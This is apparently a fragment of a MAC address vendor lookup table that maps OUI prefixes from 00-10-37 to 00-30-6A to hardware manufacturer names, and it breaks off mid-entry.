+00-10-37:CYQ've Technology Co., Ltd. +00-10-38:MICRO RESEARCH INSTITUTE, INC. +00-10-39:Vectron Systems AG +00-10-3A:DIAMOND NETWORK TECH +00-10-3B:HIPPI NETWORKING FORUM +00-10-3C:IC ENSEMBLE, INC. +00-10-3D:PHASECOM, LTD. +00-10-3E:NETSCHOOLS CORPORATION +00-10-3F:TOLLGRADE COMMUNICATIONS, INC. +00-10-40:INTERMEC CORPORATION +00-10-41:BRISTOL BABCOCK, INC. +00-10-42:AlacriTech +00-10-43:A2 CORPORATION +00-10-44:InnoLabs Corporation +00-10-45:Nortel Networks +00-10-46:ALCORN MCBRIDE INC. +00-10-47:ECHO ELETRIC CO. LTD. +00-10-48:HTRC AUTOMATION, INC. +00-10-49:SHORELINE TELEWORKS, INC. +00-10-4A:THE PARVUC CORPORATION +00-10-4B:3COM CORPORATION +00-10-4C:COMPUTER ACCESS TECHNOLOGY +00-10-4D:SURTEC INDUSTRIES, INC. +00-10-4E:CEOLOGIC +00-10-4F:STORAGE TECHNOLOGY CORPORATION +00-10-50:RION CO., LTD. +00-10-51:CMICRO CORPORATION +00-10-52:METTLER-TOLEDO (ALBSTADT) GMBH +00-10-53:COMPUTER TECHNOLOGY CORP. +00-10-54:CISCO SYSTEMS, INC. +00-10-55:FUJITSU MICROELECTRONICS, INC. +00-10-56:SODICK CO., LTD. +00-10-57:Rebel.com, Inc. +00-10-58:ArrowPoint Communications +00-10-59:DIABLO RESEARCH CO. LLC +00-10-5A:3COM CORPORATION +00-10-5B:NET INSIGHT AB +00-10-5C:QUANTUM DESIGNS (H.K.) LTD. +00-10-5D:Draeger Medical +00-10-5E:HEKIMIAN LABORATORIES, INC. +00-10-5F:IN-SNEC +00-10-60:BILLIONTON SYSTEMS, INC. +00-10-61:HOSTLINK CORP. +00-10-62:NX SERVER, ILNC. +00-10-63:STARGUIDE DIGITAL NETWORKS +00-10-64:DNPG, LLC +00-10-65:RADYNE CORPORATION +00-10-66:ADVANCED CONTROL SYSTEMS, INC. +00-10-67:REDBACK NETWORKS, INC. +00-10-68:COMOS TELECOM +00-10-69:HELIOSS COMMUNICATIONS, INC. +00-10-6A:DIGITAL MICROWAVE CORPORATION +00-10-6B:SONUS NETWORKS, INC. +00-10-6C:INFRATEC PLUS GmbH +00-10-6D:INTEGRITY COMMUNICATIONS, INC. +00-10-6E:TADIRAN COM. LTD. +00-10-6F:TRENTON TECHNOLOGY INC. +00-10-70:CARADON TREND LTD. +00-10-71:ADVANET INC. +00-10-72:GVN TECHNOLOGIES, INC. +00-10-73:TECHNOBOX, INC. +00-10-74:ATEN INTERNATIONAL CO., LTD. +00-10-75:Maxtor Corporation +00-10-76:EUREM GmbH +00-10-77:SAF DRIVE SYSTEMS, LTD. +00-10-78:NUERA COMMUNICATIONS, INC. +00-10-79:CISCO SYSTEMS, INC. +00-10-7A:AmbiCom, Inc. +00-10-7B:CISCO SYSTEMS, INC. +00-10-7C:P-COM, INC. +00-10-7D:AURORA COMMUNICATIONS, LTD. +00-10-7E:BACHMANN ELECTRONIC GmbH +00-10-7F:CRESTRON ELECTRONICS, INC. +00-10-80:METAWAVE COMMUNICATIONS +00-10-81:DPS, INC. +00-10-82:JNA TELECOMMUNICATIONS LIMITED +00-10-83:HEWLETT-PACKARD COMPANY +00-10-84:K-BOT COMMUNICATIONS +00-10-85:POLARIS COMMUNICATIONS, INC. +00-10-86:ATTO TECHNOLOGY, INC. +00-10-87:Xstreamis PLC +00-10-88:AMERICAN NETWORKS INC. +00-10-89:WebSonic +00-10-8A:TeraLogic, Inc. +00-10-8B:LASERANIMATION SOLLINGER GmbH +00-10-8C:FUJITSU TELECOMMUNICATIONS EUROPE, LTD. +00-10-8D:JOHNSON CONTROLS, INC. +00-10-8E:HUGH SYMONS CONCEPT Technologies Ltd. +00-10-8F:RAPTOR SYSTEMS +00-10-90:CIMETRICS, INC. +00-10-91:NO WIRES NEEDED BV +00-10-92:NETCORE INC. +00-10-93:CMS COMPUTERS, LTD. +00-10-94:Performance Analysis Broadband, Spirent plc +00-10-95:Thomson Multimedia, Inc. +00-10-96:TRACEWELL SYSTEMS, INC. +00-10-97:WinNet Metropolitan Communications Systems, Inc. +00-10-98:STARNET TECHNOLOGIES, INC. +00-10-99:InnoMedia, Inc. +00-10-9A:NETLINE +00-10-9B:VIXEL CORPORATION +00-10-9C:M-SYSTEM CO., LTD. +00-10-9D:CLARINET SYSTEMS, INC. +00-10-9E:AWARE, INC. +00-10-9F:PAVO, INC. +00-10-A0:INNOVEX TECHNOLOGIES, INC. +00-10-A1:KENDIN SEMICONDUCTOR, INC. +00-10-A2:TNS +00-10-A3:OMNITRONIX, INC. +00-10-A4:XIRCOM +00-10-A5:OXFORD INSTRUMENTS +00-10-A6:CISCO SYSTEMS, INC. +00-10-A7:UNEX TECHNOLOGY CORPORATION +00-10-A8:RELIANCE COMPUTER CORP. +00-10-A9:ADHOC TECHNOLOGIES +00-10-AA:MEDIA4, INC. +00-10-AB:KOITO INDUSTRIES, LTD. +00-10-AC:IMCI TECHNOLOGIES +00-10-AD:SOFTRONICS USB, INC. +00-10-AE:SHINKO ELECTRIC INDUSTRIES CO. +00-10-AF:TAC SYSTEMS, INC. +00-10-B0:MERIDIAN TECHNOLOGY CORP. +00-10-B1:FOR-A CO., LTD. +00-10-B2:COACTIVE AESTHETICS +00-10-B3:NOKIA MULTIMEDIA TERMINALS +00-10-B4:ATMOSPHERE NETWORKS +00-10-B5:ACCTON TECHNOLOGY CORPORATION +00-10-B6:ENTRATA COMMUNICATIONS CORP. +00-10-B7:COYOTE TECHNOLOGIES, LLC +00-10-B8:ISHIGAKI COMPUTER SYSTEM CO. +00-10-B9:MAXTOR CORP. +00-10-BA:MARTINHO-DAVIS SYSTEMS, INC. +00-10-BB:DATA & INFORMATION TECHNOLOGY +00-10-BC:Aastra Telecom +00-10-BD:THE TELECOMMUNICATION TECHNOLOGY COMMITTEE +00-10-BE:TELEXIS CORP. +00-10-BF:InterAir Wireless +00-10-C0:ARMA, INC. +00-10-C1:OI ELECTRIC CO., LTD. +00-10-C2:WILLNET, INC. +00-10-C3:CSI-CONTROL SYSTEMS +00-10-C4:MEDIA LINKS CO., LTD. +00-10-C5:PROTOCOL TECHNOLOGIES, INC. +00-10-C6:USI +00-10-C7:DATA TRANSMISSION NETWORK +00-10-C8:COMMUNICATIONS ELECTRONICS SECURITY GROUP +00-10-C9:MITSUBISHI ELECTRONICS LOGISTIC SUPPORT CO. +00-10-CA:INTEGRAL ACCESS +00-10-CB:FACIT K.K. +00-10-CC:CLP COMPUTER LOGISTIK PLANUNG GmbH +00-10-CD:INTERFACE CONCEPT +00-10-CE:VOLAMP, LTD. +00-10-CF:FIBERLANE COMMUNICATIONS +00-10-D0:WITCOM, LTD. +00-10-D1:Top Layer Networks, Inc. +00-10-D2:NITTO TSUSHINKI CO., LTD +00-10-D3:GRIPS ELECTRONIC GMBH +00-10-D4:STORAGE COMPUTER CORPORATION +00-10-D5:IMASDE CANARIAS, S.A. +00-10-D6:ITT - A/CD +00-10-D7:ARGOSY RESEARCH INC. +00-10-D8:CALISTA +00-10-D9:IBM JAPAN, FUJISAWA MT+D +00-10-DA:MOTION ENGINEERING, INC. +00-10-DB:NetScreen Technologies, Inc. +00-10-DC:MICRO-STAR INTERNATIONAL CO., LTD. +00-10-DD:ENABLE SEMICONDUCTOR, INC. +00-10-DE:INTERNATIONAL DATACASTING CORPORATION +00-10-DF:RISE COMPUTER INC. +00-10-E0:COBALT MICROSERVER, INC. +00-10-E1:S.I. TECH, INC. +00-10-E2:ArrayComm, Inc. +00-10-E3:COMPAQ COMPUTER CORPORATION +00-10-E4:NSI CORPORATION +00-10-E5:SOLECTRON TEXAS +00-10-E6:APPLIED INTELLIGENT SYSTEMS, INC. +00-10-E7:BreezeCom +00-10-E8:TELOCITY, INCORPORATED +00-10-E9:RAIDTEC LTD. +00-10-EA:ADEPT TECHNOLOGY +00-10-EB:SELSIUS SYSTEMS, INC. +00-10-EC:RPCG, LLC +00-10-ED:SUNDANCE TECHNOLOGY, INC. +00-10-EE:CTI PRODUCTS, INC. +00-10-EF:DBTEL INCORPORATED +00-10-F1:I-O CORPORATION +00-10-F2:ANTEC +00-10-F3:Nexcom International Co., Ltd. +00-10-F4:VERTICAL NETWORKS, INC. +00-10-F5:AMHERST SYSTEMS, INC. +00-10-F6:CISCO SYSTEMS, INC. +00-10-F7:IRIICHI TECHNOLOGIES Inc. +00-10-F8:KENWOOD TMI CORPORATION +00-10-F9:UNIQUE SYSTEMS, INC. +00-10-FA:ZAYANTE, INC. +00-10-FB:ZIDA TECHNOLOGIES LIMITED +00-10-FC:BROADBAND NETWORKS, INC. +00-10-FD:COCOM A/S +00-10-FE:DIGITAL EQUIPMENT CORPORATION +00-10-FF:CISCO SYSTEMS, INC. +00-11-00:RAM Industries, LLC +00-11-01:CET Technologies Pte Ltd +00-11-02:Aurora Multimedia Corp. +00-11-03:kawamura electric inc. +00-11-04:TELEXY +00-11-05:Sunplus Technology Co., Ltd. +00-11-06:Siemens NV (Belgium) +00-11-07:RGB Networks Inc. +00-11-08:Orbital Data Corporation +00-11-09:Micro-Star International +00-11-0A:Hewlett Packard +00-11-0B:Franklin Technology Systems +00-11-0C:Atmark Techno, Inc. +00-11-0D:SANBlaze Technology, Inc. +00-11-0E:Tsurusaki Sealand Transportation Co. Ltd. +00-11-0F:netplat,Inc. +00-11-10:Maxanna Technology Co., Ltd. +00-11-11:Intel Corporation +00-11-12:Honeywell CMSS +00-11-13:Fraunhofer FOKUS +00-11-14:EverFocus Electronics Corp. +00-11-15:EPIN Technologies, Inc. +00-11-16:COTEAU VERT CO., LTD. +00-11-17:CESNET +00-11-18:BLX IC Design Corp., Ltd. +00-11-19:Solteras, Inc. +00-11-1A:Motorola BCS +00-11-1B:Targa Systems Div L-3 Communications Canada +00-11-1C:Pleora Technologies Inc. +00-11-1D:Hectrix Limited +00-11-1E:EPSG (Ethernet Powerlink Standardization Group) +00-11-1F:Doremi Labs, Inc. +00-11-20:Cisco Systems +00-11-21:Cisco Systems +00-11-22:CIMSYS Inc +00-11-23:Appointech, Inc. +00-11-24:Apple Computer +00-11-25:IBM Corporation +00-11-26:Venstar Inc. +00-11-27:TASI, Inc +00-11-28:Streamit +00-11-29:Paradise Datacom Ltd. +00-11-2A:Niko NV +00-11-2B:NetModule +00-11-2C:IZT GmbH +00-11-2D:Guys Without Ties +00-11-2E:CEICOM +00-11-2F:ASUSTek Computer Inc. +00-11-30:Allied Telesis (Hong Kong) Ltd. +00-11-31:UNATECH. CO.,LTD +00-11-32:Synology Incorporated +00-11-33:Siemens Austria SIMEA +00-11-34:MediaCell, Inc. +00-11-35:Grandeye Ltd +00-11-36:Goodrich Sensor Systems +00-11-37:AICHI ELECTRIC CO., LTD. +00-11-38:TAISHIN CO., LTD. +00-11-39:STOEBER ANTRIEBSTECHNIK GmbH + Co. KG. +00-11-3A:SHINBORAM +00-11-3B:Micronet Communications Inc. +00-11-3C:Micronas GmbH +00-11-3D:KN SOLTEC CO.,LTD. +00-11-3E:JL Corporation +00-11-3F:Alcatel DI +00-11-40:Nanometrics Inc. +00-11-41:GoodMan Corporation +00-11-42:e-SMARTCOM INC. +00-11-43:DELL INC. (WW PCBA Test) +00-11-44:Assurance Technology Corp +00-11-45:ValuePoint Networks +00-11-46:PRIVATE +00-11-47:Secom-Industry co.LTD. +00-11-48:Prolon Control Systems +00-11-49:Proliphix LLC +00-11-4A:KAYABA INDUSTRY Co,.Ltd. +00-11-4B:Francotyp-Postalia AG & Co. KG +00-11-4C:caffeina applied research ltd. +00-11-4D:Atsumi Electric Co.,LTD. +00-11-4E:690885 Ontario Inc. +00-11-4F:US Digital Television, Inc +00-11-50:Belkin Corporation +00-11-51:Mykotronx +00-11-52:Eidsvoll Electronics AS +00-11-53:Trident Tek, Inc. +00-11-54:Webpro Technologies Inc. +00-11-55:Sevis Systems +00-11-56:Pharos Systems NZ +00-11-57:OF Networks Co., Ltd. +00-11-58:Nortel Networks +00-11-59:MATISSE NETWORKS INC +00-11-5A:Ivoclar Vivadent AG +00-11-5B:Elitegroup Computer System Co. (ECS) +00-11-5C:Cisco +00-11-5D:Cisco +00-11-5E:ProMinent Dosiertechnik GmbH +00-11-5F:Intellix Co., Ltd. +00-11-60:ARTDIO Company Co., LTD +00-11-61:NetStreams, LLC +00-11-62:STAR MICRONICS CO.,LTD. +00-11-63:SYSTEM SPA DEPT. ELECTRONICS +00-11-64:ACARD Technology Corp. +00-11-65:Znyx Networks +00-11-66:Taelim Electronics Co., Ltd. +00-11-67:Integrated System Solution Corp. +00-11-68:HomeLogic LLC +00-11-69:EMS Satcom +00-11-6A:Domo Ltd +00-11-6B:Digital Data Communications Asia Co.,Ltd +00-11-6C:Nanwang Multimedia Inc.,Ltd +00-11-6D:American Time and Signal +00-11-6E:PePLink Ltd. +00-11-6F:Netforyou Co., LTD. +00-11-70:GSC SRL +00-11-71:DEXTER Communications, Inc. +00-11-72:COTRON CORPORATION +00-11-73:Adtron Corporation +00-11-74:Wibhu Technologies, Inc. +00-11-75:PathScale, Inc. +00-11-76:Intellambda Systems, Inc. +00-11-77:COAXIAL NETWORKS, INC. +00-11-78:Chiron Technology Ltd +00-11-79:Singular Technology Co. Ltd. +00-11-7A:Singim International Corp. +00-11-7B:Bchi Labortechnik AG +00-11-7C:e-zy.net +00-11-7D:ZMD America, Inc. +00-11-7E:Progeny Inc. +00-11-7F:Neotune Information Technology Corporation,.LTD +00-11-80:Motorola BCS +00-11-81:InterEnergy Co.Ltd, +00-11-82:IMI Norgren Ltd +00-11-83:PSC Scanning, Inc +00-11-84:Humo Laboratory,Ltd. +00-11-85:WW Ops +00-11-86:Prime Systems, Inc. +00-11-87:Category Solutions Inc +00-1C-7C:PERQ SYSTEMS CORPORATION +00-20-00:LEXMARK INTERNATIONAL, INC. +00-20-01:DSP SOLUTIONS, INC. +00-20-02:SERITECH ENTERPRISE CO., LTD. +00-20-03:PIXEL POWER LTD. +00-20-04:YAMATAKE-HONEYWELL CO., LTD. +00-20-05:SIMPLE TECHNOLOGY +00-20-06:GARRETT COMMUNICATIONS, INC. +00-20-07:SFA, INC. +00-20-08:CABLE & COMPUTER TECHNOLOGY +00-20-09:PACKARD BELL ELEC., INC. +00-20-0A:SOURCE-COMM CORP. +00-20-0B:OCTAGON SYSTEMS CORP. +00-20-0C:ADASTRA SYSTEMS CORP. +00-20-0D:CARL ZEISS +00-20-0E:SATELLITE TECHNOLOGY MGMT, INC +00-20-0F:TANBAC CO., LTD. +00-20-10:JEOL SYSTEM TECHNOLOGY CO. LTD +00-20-11:CANOPUS CO., LTD. +00-20-12:CAMTRONICS MEDICAL SYSTEMS +00-20-13:DIVERSIFIED TECHNOLOGY, INC. +00-20-14:GLOBAL VIEW CO., LTD. +00-20-15:ACTIS COMPUTER SA +00-20-16:SHOWA ELECTRIC WIRE & CABLE CO +00-20-17:ORBOTECH +00-20-18:CIS TECHNOLOGY INC. +00-20-19:OHLER GmbH +00-20-1A:N-BASE SWITCH COMMUNICATIONS +00-20-1B:NORTHERN TELECOM/NETWORK +00-20-1C:EXCEL, INC. +00-20-1D:KATANA PRODUCTS +00-20-1E:NETQUEST CORPORATION +00-20-1F:BEST POWER TECHNOLOGY, INC. +00-20-20:MEGATRON COMPUTER INDUSTRIES PTY, LTD. +00-20-21:ALGORITHMS SOFTWARE PVT. LTD. +00-20-22:TEKNIQUE, INC. +00-20-23:T.C. TECHNOLOGIES PTY. LTD +00-20-24:PACIFIC COMMUNICATION SCIENCES +00-20-25:CONTROL TECHNOLOGY, INC. +00-20-26:AMKLY SYSTEMS, INC. +00-20-27:MING FORTUNE INDUSTRY CO., LTD +00-20-28:WEST EGG SYSTEMS, INC. +00-20-29:TELEPROCESSING PRODUCTS, INC. +00-20-2A:N.V. DZINE +00-20-2B:ADVANCED TELECOMMUNICATIONS MODULES, LTD. +00-20-2C:WELLTRONIX CO., LTD. +00-20-2D:TAIYO CORPORATION +00-20-2E:DAYSTAR DIGITAL +00-20-2F:ZETA COMMUNICATIONS, LTD. +00-20-30:ANALOG & DIGITAL SYSTEMS +00-20-31:ERTEC GmbH +00-20-32:ALCATEL TAISEL +00-20-33:SYNAPSE TECHNOLOGIES, INC. +00-20-34:ROTEC INDUSTRIEAUTOMATION GMBH +00-20-35:IBM CORPORATION +00-20-36:BMC SOFTWARE +00-20-37:SEAGATE TECHNOLOGY +00-20-38:VME MICROSYSTEMS INTERNATIONAL CORPORATION +00-20-39:SCINETS +00-20-3A:DIGITAL BI0METRICS INC. +00-20-3B:WISDM LTD. +00-20-3C:EUROTIME AB +00-20-3D:NOVAR ELECTRONICS CORPORATION +00-20-3E:LogiCan Technologies, Inc. +00-20-3F:JUKI CORPORATION +00-20-40:Motorola Broadband Communications Sector +00-20-41:DATA NET +00-20-42:DATAMETRICS CORP. +00-20-43:NEURON COMPANY LIMITED +00-20-44:GENITECH PTY LTD +00-20-45:ION Networks, Inc. +00-20-46:CIPRICO, INC. +00-20-47:STEINBRECHER CORP. +00-20-48:Marconi Communications +00-20-49:COMTRON, INC. +00-20-4A:PRONET GMBH +00-20-4B:AUTOCOMPUTER CO., LTD. +00-20-4C:MITRON COMPUTER PTE LTD. +00-20-4D:INOVIS GMBH +00-20-4E:NETWORK SECURITY SYSTEMS, INC. +00-20-4F:DEUTSCHE AEROSPACE AG +00-20-50:KOREA COMPUTER INC. +00-20-51:Verilink Corporation +00-20-52:RAGULA SYSTEMS +00-20-53:HUNTSVILLE MICROSYSTEMS, INC. +00-20-54:EASTERN RESEARCH, INC. +00-20-55:ALTECH CO., LTD. +00-20-56:NEOPRODUCTS +00-20-57:TITZE DATENTECHNIK GmbH +00-20-58:ALLIED SIGNAL INC. +00-20-59:MIRO COMPUTER PRODUCTS AG +00-20-5A:COMPUTER IDENTICS +00-20-5B:Kentrox, LLC +00-20-5C:InterNet Systems of Florida, Inc. +00-20-5D:NANOMATIC OY +00-20-5E:CASTLE ROCK, INC. +00-20-5F:GAMMADATA COMPUTER GMBH +00-20-60:ALCATEL ITALIA S.p.A. +00-20-61:DYNATECH COMMUNICATIONS, INC. +00-20-62:SCORPION LOGIC, LTD. +00-20-63:WIPRO INFOTECH LTD. +00-20-64:PROTEC MICROSYSTEMS, INC. +00-20-65:SUPERNET NETWORKING INC. +00-20-66:GENERAL MAGIC, INC. +00-20-67:PRIVATE +00-20-68:ISDYNE +00-20-69:ISDN SYSTEMS CORPORATION +00-20-6A:OSAKA COMPUTER CORP. +00-20-6B:KONICA MINOLTA HOLDINGS, INC. +00-20-6C:EVERGREEN TECHNOLOGY CORP. +00-20-6D:DATA RACE, INC. +00-20-6E:XACT, INC. +00-20-6F:FLOWPOINT CORPORATION +00-20-70:HYNET, LTD. +00-20-71:IBR GMBH +00-20-72:WORKLINK INNOVATIONS +00-20-73:FUSION SYSTEMS CORPORATION +00-20-74:SUNGWOON SYSTEMS +00-20-75:MOTOROLA COMMUNICATION ISRAEL +00-20-76:REUDO CORPORATION +00-20-77:KARDIOS SYSTEMS CORP. +00-20-78:RUNTOP, INC. +00-20-79:MIKRON GMBH +00-20-7A:WiSE Communications, Inc. +00-20-7B:Intel Corporation +00-20-7C:AUTEC GmbH +00-20-7D:ADVANCED COMPUTER APPLICATIONS +00-20-7E:FINECOM Co., Ltd. +00-20-7F:KYOEI SANGYO CO., LTD. +00-20-80:SYNERGY (UK) LTD. +00-20-81:TITAN ELECTRONICS +00-20-82:ONEAC CORPORATION +00-20-83:PRESTICOM INCORPORATED +00-20-84:OCE PRINTING SYSTEMS, GMBH +00-20-85:EXIDE ELECTRONICS +00-20-86:MICROTECH ELECTRONICS LIMITED +00-20-87:MEMOTEC COMMUNICATIONS CORP. +00-20-88:GLOBAL VILLAGE COMMUNICATION +00-20-89:T3PLUS NETWORKING, INC. +00-20-8A:SONIX COMMUNICATIONS, LTD. +00-20-8B:LAPIS TECHNOLOGIES, INC. +00-20-8C:GALAXY NETWORKS, INC. +00-20-8D:CMD TECHNOLOGY +00-20-8E:CHEVIN SOFTWARE ENG. LTD. +00-20-8F:ECI TELECOM LTD. +00-20-90:ADVANCED COMPRESSION TECHNOLOGY, INC. +00-20-91:J125, NATIONAL SECURITY AGENCY +00-20-92:CHESS ENGINEERING B.V. +00-20-93:LANDINGS TECHNOLOGY CORP. +00-20-94:CUBIX CORPORATION +00-20-95:RIVA ELECTRONICS +00-20-96:Invensys +00-20-97:APPLIED SIGNAL TECHNOLOGY +00-20-98:HECTRONIC AB +00-20-99:BON ELECTRIC CO., LTD. +00-20-9A:THE 3DO COMPANY +00-20-9B:ERSAT ELECTRONIC GMBH +00-20-9C:PRIMARY ACCESS CORP. +00-20-9D:LIPPERT AUTOMATIONSTECHNIK +00-20-9E:BROWN'S OPERATING SYSTEM SERVICES, LTD. +00-20-9F:MERCURY COMPUTER SYSTEMS, INC. +00-20-A0:OA LABORATORY CO., LTD. +00-20-A1:DOVATRON +00-20-A2:GALCOM NETWORKING LTD. +00-20-A3:DIVICOM INC. +00-20-A4:MULTIPOINT NETWORKS +00-20-A5:API ENGINEERING +00-20-A6:PROXIM, INC. +00-20-A7:PAIRGAIN TECHNOLOGIES, INC. +00-20-A8:SAST TECHNOLOGY CORP. +00-20-A9:WHITE HORSE INDUSTRIAL +00-20-AA:DIGIMEDIA VISION LTD. +00-20-AB:MICRO INDUSTRIES CORP. +00-20-AC:INTERFLEX DATENSYSTEME GMBH +00-20-AD:LINQ SYSTEMS +00-20-AE:ORNET DATA COMMUNICATION TECH. +00-20-AF:3COM CORPORATION +00-20-B0:GATEWAY DEVICES, INC. +00-20-B1:COMTECH RESEARCH INC. +00-20-B2:GKD Gesellschaft Fur Kommunikation Und Datentechnik +00-20-B3:SCLTEC COMMUNICATIONS SYSTEMS +00-20-B4:TERMA ELEKTRONIK AS +00-20-B5:YASKAWA ELECTRIC CORPORATION +00-20-B6:AGILE NETWORKS, INC. +00-20-B7:NAMAQUA COMPUTERWARE +00-20-B8:PRIME OPTION, INC. +00-20-B9:METRICOM, INC. +00-20-BA:CENTER FOR HIGH PERFORMANCE +00-20-BB:ZAX CORPORATION +00-20-BC:Long Reach Networks Pty Ltd +00-20-BD:NIOBRARA R & D CORPORATION +00-20-BE:LAN ACCESS CORP. +00-20-BF:AEHR TEST SYSTEMS +00-20-C0:PULSE ELECTRONICS, INC. +00-20-C1:TAIKO ELECTRIC WORKS, LTD. +00-20-C2:TEXAS MEMORY SYSTEMS, INC. +00-20-C3:COUNTER SOLUTIONS LTD. +00-20-C4:INET,INC. +00-20-C5:EAGLE TECHNOLOGY +00-20-C6:NECTEC +00-20-C7:AKAI Professional M.I. Corp. +00-20-C8:LARSCOM INCORPORATED +00-20-C9:VICTRON BV +00-20-CA:DIGITAL OCEAN +00-20-CB:PRETEC ELECTRONICS CORP. +00-20-CC:DIGITAL SERVICES, LTD. +00-20-CD:HYBRID NETWORKS, INC. +00-20-CE:LOGICAL DESIGN GROUP, INC. +00-20-CF:TEST & MEASUREMENT SYSTEMS INC +00-20-D0:VERSALYNX CORPORATION +00-20-D1:MICROCOMPUTER SYSTEMS (M) SDN. +00-20-D2:RAD DATA COMMUNICATIONS, LTD. +00-20-D3:OST (OUEST STANDARD TELEMATIQU +00-20-D4:CABLETRON - ZEITTNET INC. +00-20-D5:VIPA GMBH +00-20-D6:BREEZECOM +00-20-D7:JAPAN MINICOMPUTER SYSTEMS CO., Ltd. +00-20-D8:Nortel Networks +00-20-D9:PANASONIC TECHNOLOGIES, INC./MIECO-US +00-20-DA:XYLAN CORPORATION +00-20-DB:XNET TECHNOLOGY, INC. +00-20-DC:DENSITRON TAIWAN LTD. +00-20-DD:Cybertec Pty Ltd +00-20-DE:JAPAN DIGITAL LABORAT'Y CO.LTD +00-20-DF:KYOSAN ELECTRIC MFG. CO., LTD. +00-20-E0:Actiontec Electronics, Inc. +00-20-E1:ALAMAR ELECTRONICS +00-20-E2:INFORMATION RESOURCE ENGINEERING +00-20-E3:MCD KENCOM CORPORATION +00-20-E4:HSING TECH ENTERPRISE CO., LTD +00-20-E5:APEX DATA, INC. +00-20-E6:LIDKOPING MACHINE TOOLS AB +00-20-E7:B&W NUCLEAR SERVICE COMPANY +00-20-E8:DATATREK CORPORATION +00-20-E9:DANTEL +00-20-EA:EFFICIENT NETWORKS, INC. +00-20-EB:CINCINNATI MICROWAVE, INC. +00-20-EC:TECHWARE SYSTEMS CORP. +00-20-ED:GIGA-BYTE TECHNOLOGY CO., LTD. +00-20-EE:GTECH CORPORATION +00-20-EF:USC CORPORATION +00-20-F0:UNIVERSAL MICROELECTRONICS CO. +00-20-F1:ALTOS INDIA LIMITED +00-20-F2:SUN MICROSYSTEMS, INC. +00-20-F3:RAYNET CORPORATION +00-20-F4:SPECTRIX CORPORATION +00-20-F5:PANDATEL AG +00-20-F6:NET TEK AND KARLNET, INC. +00-20-F7:CYBERDATA +00-20-F8:CARRERA COMPUTERS, INC. +00-20-F9:PARALINK NETWORKS, INC. +00-20-FA:GDE SYSTEMS, INC. +00-20-FB:OCTEL COMMUNICATIONS CORP. +00-20-FC:MATROX +00-20-FD:ITV TECHNOLOGIES, INC. +00-20-FE:TOPWARE INC. / GRAND COMPUTER +00-20-FF:SYMMETRICAL TECHNOLOGIES +00-26-54:3Com Corporation +00-30-00:ALLWELL TECHNOLOGY CORP. +00-30-01:SMP +00-30-02:Expand Networks +00-30-03:Phasys Ltd. +00-30-04:LEADTEK RESEARCH INC. +00-30-05:Fujitsu Siemens Computers +00-30-06:SUPERPOWER COMPUTER +00-30-07:OPTI, INC. +00-30-08:AVIO DIGITAL, INC. +00-30-09:Tachion Networks, Inc. +00-30-0A:AZTECH SYSTEMS LTD. +00-30-0B:mPHASE Technologies, Inc. +00-30-0C:CONGRUENCY, LTD. +00-30-0D:MMC Technology, Inc. +00-30-0E:Klotz Digital AG +00-30-0F:IMT - Information Management T +00-30-10:VISIONETICS INTERNATIONAL +00-30-11:HMS FIELDBUS SYSTEMS AB +00-30-12:DIGITAL ENGINEERING LTD. +00-30-13:NEC Corporation +00-30-14:DIVIO, INC. +00-30-15:CP CLARE CORP. +00-30-16:ISHIDA CO., LTD. +00-30-17:BlueArc UK Ltd +00-30-18:Jetway Information Co., Ltd. +00-30-19:CISCO SYSTEMS, INC. +00-30-1A:SMARTBRIDGES PTE. LTD. +00-30-1B:SHUTTLE, INC. +00-30-1C:ALTVATER AIRDATA SYSTEMS +00-30-1D:SKYSTREAM, INC. +00-30-1E:3COM Europe Ltd. +00-30-1F:OPTICAL NETWORKS, INC. +00-30-20:TSI, Inc.. +00-30-21:HSING TECH. ENTERPRISE CO.,LTD +00-30-22:Fong Kai Industrial Co., Ltd. +00-30-23:COGENT COMPUTER SYSTEMS, INC. +00-30-24:CISCO SYSTEMS, INC. +00-30-25:CHECKOUT COMPUTER SYSTEMS, LTD +00-30-26:HEITEL +00-30-27:KERBANGO, INC. +00-30-28:FASE Saldatura srl +00-30-29:OPICOM +00-30-2A:SOUTHERN INFORMATION +00-30-2B:INALP NETWORKS, INC. +00-30-2C:SYLANTRO SYSTEMS CORPORATION +00-30-2D:QUANTUM BRIDGE COMMUNICATIONS +00-30-2E:Hoft & Wessel AG +00-30-2F:Smiths Industries +00-30-30:HARMONIX CORPORATION +00-30-31:LIGHTWAVE COMMUNICATIONS, INC. +00-30-32:MagicRam, Inc. +00-30-33:ORIENT TELECOM CO., LTD. +00-30-34:PRIVATE +00-30-35:PRIVATE +00-30-36:RMP ELEKTRONIKSYSTEME GMBH +00-30-37:Packard Bell Nec Services +00-30-38:XCP, INC. +00-30-39:SOFTBOOK PRESS +00-30-3A:MAATEL +00-30-3B:PowerCom Technology +00-30-3C:ONNTO CORP. +00-30-3D:IVA CORPORATION +00-30-3E:Radcom Ltd. +00-30-3F:TurboComm Tech Inc. +00-30-40:CISCO SYSTEMS, INC. +00-30-41:SAEJIN T & M CO., LTD. +00-30-42:DeTeWe-Deutsche Telephonwerke +00-30-43:IDREAM TECHNOLOGIES, PTE. LTD. +00-30-44:Portsmith LLC +00-30-45:Village Networks, Inc. (VNI) +00-30-46:Controlled Electronic Manageme +00-30-47:NISSEI ELECTRIC CO., LTD. +00-30-48:Supermicro Computer, Inc. +00-30-49:BRYANT TECHNOLOGY, LTD. +00-30-4A:FRAUNHOFER INSTITUTE IMS +00-30-4B:ORBACOM SYSTEMS, INC. +00-30-4C:APPIAN COMMUNICATIONS, INC. +00-30-4D:ESI +00-30-4E:BUSTEC PRODUCTION LTD. +00-30-4F:PLANET Technology Corporation +00-30-50:Versa Technology +00-30-51:ORBIT AVIONIC & COMMUNICATION +00-30-52:ELASTIC NETWORKS +00-30-53:Basler AG +00-30-54:CASTLENET TECHNOLOGY, INC. +00-30-55:Hitachi Semiconductor America, +00-30-56:Beck IPC GmbH +00-30-57:E-Tel Corporation +00-30-58:API MOTION +00-30-59:DIGITAL-LOGIC AG +00-30-5A:TELGEN CORPORATION +00-30-5B:MODULE DEPARTMENT +00-30-5C:SMAR Laboratories Corp. +00-30-5D:DIGITRA SYSTEMS, INC. +00-30-5E:Abelko Innovation +00-30-5F:IMACON APS +00-30-60:STARMATIX, INC. +00-30-61:MobyTEL +00-30-62:PATH 1 NETWORK TECHNOL'S INC. +00-30-63:SANTERA SYSTEMS, INC. +00-30-64:ADLINK TECHNOLOGY, INC. +00-30-65:APPLE COMPUTER, INC. +00-30-66:DIGITAL WIRELESS CORPORATION +00-30-67:BIOSTAR MICROTECH INT'L CORP. +00-30-68:CYBERNETICS TECH. CO., LTD. +00-30-69:IMPACCT TECHNOLOGY CORP. +00-30-6A:PENTA MEDIA CO., 